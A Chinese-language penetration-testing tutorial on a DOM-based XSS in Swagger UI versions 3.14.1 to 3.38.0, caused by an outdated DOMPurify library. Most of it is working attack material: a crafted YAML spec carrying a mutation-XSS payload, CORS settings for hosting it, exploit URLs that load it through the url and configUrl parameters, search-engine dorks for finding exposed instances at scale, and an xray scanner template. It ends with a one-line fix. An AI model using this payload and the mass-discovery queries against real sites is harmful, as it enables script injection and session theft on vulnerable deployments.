目录

免责声明：
漏洞简述：
漏洞实现
POC
漏洞利用
如何大规模找到 Swagger UI
Google
FOFA
XRAY
修复

免责声明：

  本文章仅供学习和研究使用，严禁使用该文章内容对互联网其他应用进行非法操作，若将其用于非法目的，所造成的后果由您自行承担，产生的一切风险与本文作者无关，如继续阅读该文章即表明您默认遵守该内容。

漏洞简述：

  swagger-ui是一个允许 API 交互和可视化的库，Swagger-UI有一个特性它允许您向 API 规范提供URL一个yaml或json文件（例如http://swagger-server/swagger-ui.html?url=https://your_api_spec/spec.yaml、http://swagger-server/swagger-ui.html?configUrl=https://your_api_spec/file.json），它将被获取并显示给用户。该漏洞产生的原因是swagger-ui使用了一个过时的库DomPurify（DOMPurify是一个开源的基于DOM的快速XSS净化工具。输入HTML元素，然后通过DOM解析递归元素节点，进行净化，输出安全的HTML。），结合库的特性允许获得由查询参数控制的DOM型XSS。

受影响的版本：

Swagger UI versions affected with the XSS: >=3.14.1 < 3.38.0

漏洞实现

具体分析过程可以看原文

POC

swagger: '2.0'

info:

  title: Example yaml.spec

  description: |

    <math><mtext><option><FAKEFAKE><option></option><mglyph><svg><mtext><textarea><a title="</textarea><img src='#' οnerrοr='alert(document.head)'>">

paths:

  /accounts:

    get:

      responses:

        '200':

          description: No response was specified

      tags:

        - accounts

      operationId: findAccounts

      summary: Finds all accounts

复现的时候踩了个坑
如果提示这个错误是因为无法跨域导致的，把Access-Control-Allow-Origin设置为*即可。
has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource. If an opaque response serves your needs, set the request's mode to 'no-cors' to fetch the resource with CORS disabled.

我这里使用的是apache设置配置文件httpd.conf，最后一行添加即可

<IfModule mod_headers.c>

    Header set Access-Control-Allow-Origin: "*"

    Header set Access-Control-Allow-Methods: "GET,POST,PUT,DELETE,OPTIONS"

    Header set Access-Control-Allow-Headers: "Content-Type"

</IfModule>

yaml文件配置

swagger: '2.0'

info:

  title: Example yaml.spec

  description: |

    <math><mtext><option><FAKEFAKE><option></option><mglyph><svg><mtext><textarea><a title="</textarea><img src='#' οnerrοr='alert(document.head)'>">

paths:

  /accounts:

    get:

      responses:

        '200':

          description: No response was specified

      tags:

        - accounts

      operationId: findAccounts

      summary: Finds all accounts

json文件配置

{

    "url": "http://IP/test.yaml",

    "urls": [

        {

            "url": "http://IP/test.yaml",

            "name": "Foo"

        }

    ]

}

漏洞利用

http://attack-ip/swagger-ui.html?url=http://self-ip/test.yaml
http://attack-ip/swagger-ui.html?configUrl=http://self-ip/test.json

如何大规模找到 Swagger UI

Google

搜索：intext:"Swagger UI" intitle:"Swagger UI" site:yourarget.com

FOFA

语句：title="Swagger UI"

XRAY

也可以改一改直接扫可以执行XSS的，这是之前写的懒得改了。

name: poc-yaml-swagger_ui

manual: true

transport: http

rules:

    r0:

        request:

            method: GET

            path: /swagger/index.html

        expression: |

            response.status==200 && response.body.bcontains(b"swagger-ui/css") || response.body.bcontains(b"swagger-ui.css") || response.body.bcontains(b"swagger-ui-")

    r1:

        request:

            method: GET

            path: /swagger-ui.html

        expression: |

            response.status==200 && response.body.bcontains(b"swagger-ui/css") || response.body.bcontains(b"swagger-ui.css") || response.body.bcontains(b"swagger-ui-")

    r2:

        request:

            method: GET

            path: /v2/api-docs

        expression: |

            response.status==200 && response.body.bcontains(b"swagger-ui/css") || response.body.bcontains(b"swagger-ui.css") || response.body.bcontains(b"swagger-ui-")

    r3:

        request:

            method: GET

            path: /api-doc

        expression: |

            response.status==200 && response.body.bcontains(b"swagger-ui/css") || response.body.bcontains(b"swagger-ui.css") || response.body.bcontains(b"swagger-ui-")

    r4:

        request:

            method: GET

            path: /index.html

        expression: |

            response.status==200 && response.body.bcontains(b"swagger-ui/css") || response.body.bcontains(b"swagger-ui.css") || response.body.bcontains(b"swagger-ui-")

    r5:

        request:

            method: GET

            path: /v2/swagger.json

        expression: |

            response.status==200 && response.body.bcontains(b"{\"swagger\":\"2.0\"") || response.body.bcontains(b"{\"openapi\":\"3.0.1\"")

    r6:

        request:

            method: GET

            path: /v1/swagger.json

        expression: |

            response.status==200 && response.body.bcontains(b"{\"swagger\":\"2.0\"") || response.body.bcontains(b"{\"openapi\":\"3.0.1\"")

    r7:

        request:

            method: GET

            path: /api/swagger.json

        expression: |

            response.status==200 && response.body.bcontains(b"{\"swagger\":\"2.0\"") || response.body.bcontains(b"{\"openapi\":\"3.0.1\"")

    r8:

        request:

            method: GET

            path: /swagger/ui/index

        expression: |

            response.status==200 && response.body.bcontains(b"swagger-ui/css") || response.body.bcontains(b"swagger-ui.css") || response.body.bcontains(b"swagger-ui-")

    r9:

        request:

            method: GET

            path: /api/swagger-ui.html

        expression: |

            response.status==200 && response.body.bcontains(b"swagger-ui/css") || response.body.bcontains(b"swagger-ui.css") || response.body.bcontains(b"swagger-ui-")

    r10:

        request:

            method: GET

            path: /swagger/swagger-ui.html

        expression: |

            response.status==200 && response.body.bcontains(b"swagger-ui/css") || response.body.bcontains(b"swagger-ui.css") || response.body.bcontains(b"swagger-ui-")

    r11:

        request:

            method: GET

            path: /actuator/swagger-ui.html

        expression: |

            response.status==200 && response.body.bcontains(b"swagger-ui/css") || response.body.bcontains(b"swagger-ui.css") || response.body.bcontains(b"swagger-ui-")

    r12:

        request:

            method: GET

            path: /swagger/v1/swagger.json

        expression: |

            response.status==200 && response.body.bcontains(b"swagger-ui/css") || response.body.bcontains(b"swagger-ui.css") || response.body.bcontains(b"swagger-ui-")

expression: |

    r0() || r1() || r2() || r3() || r4() || r5() || r6() || r7() || r8() || r9() || r10() || r11() || r12()

detail:

    author: zhibing

    links:

        - https://github.com/zhibx

    description: swagger_ui

修复

1.升级Swagger-UI。

渗透技巧基于Swagger-UI的XSS的相关教程结束。